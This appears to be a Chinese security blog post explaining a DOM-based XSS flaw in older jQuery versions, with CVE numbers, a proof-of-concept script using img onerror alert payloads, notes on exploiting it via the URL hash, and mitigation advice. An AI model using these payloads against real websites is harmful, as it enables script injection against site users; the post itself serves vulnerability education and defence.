前端api漏洞-jquery DOM型漏洞

1、漏洞介绍

漏洞编号:CVE-2016-7103、CVE-2015-9251、CVE-2014-6071、CVE-2012-6708、CVE-2011-4969

漏洞环境:jquery

影响范围:

  • 1.x系列版本等于或低于1.12的jQuery
  • 2.x系列版本等于或低于2.2的jQuery

漏洞原理:$(val)形式的jquery代码,由于某些版本的jquery的解析规则存在漏洞,导致将参数val解析为html元素执行,如果其是<img src=1 onerror=alert(‘xss’)>类似的值,会解析触发js。

由于经常搭配hash作为参数被利用,所以称作jquery dom-based漏洞。

2、测试和复现

(1)引入jquery

<script src="http://code.jquery.com/jquery-1.7.2.min.js"></script>

(2)poc

<script>
//(1)基于img标签执行xss,成功执行
$("<img src='xx' onerror='alert(/a1b2/)'>")
//(2)测试script和iframe标签是失败的,没有报错,但是不引入外部js,也不执行js伪代码
$("<script src='test_j.js'><\/script>")
$("<iframe src='javascript:alert(/xss/)'></iframe>")
//(3)img标签执行过程可以拆分
s = "<img onerror='alert(/a1b2/)'>"
obj = $(s)
obj.attr('src', 'xx')
//(4)或者
$("<img onerror='alert(/abc/)'>").attr('src','xx')
</script>
  • 注意,作为$的参数值,可以是直接的字符或者js转义,不能是url编码。且必须是一个直接的html标签,不能添加#等前缀
  • 在Edge、chrom、firefox浏览器都测试成功。

3、漏洞发现和利用

(1)漏洞发现

  • 确定jquery的版本,是否存在该漏洞。
    • 可以查看jquery文件,然后搜索version,是否存在注释或者变量
    • 如果进行了文件重命名或者删除版本信息,可以与jquery库进行比较
  • 存在$(val)形式的js代码,分析参数val的来源,是否可受攻击者控制

(2)漏洞利用

该漏洞一般是基于dom型xss,攻击者将待解析的payload保存在hash部分,但是还需要页面内存在截取#之后的文本,以及对其url解码,否则无法解析。

(貌似,Safari 浏览器js读取hash会自动进行js解码,所以无需再手动对hash进行js解码,直接的$(location.hash))

当然,其他处传递过来的文本也是可以的。

4、漏洞防护

  • 最好的就是升级版本,避开存在该漏洞的版本
  • 其次,尽量避免$中的变量被用户控制
  • 还可以对$中的变量提前进行过滤和实体编码
  • 对jquery文件重命名和删除版本标识,使攻击者无法简单判断版本也是临时之举
posted @ 2023-07-30 08:37  挖洞404  阅读(1238)  评论(0编辑  收藏  举报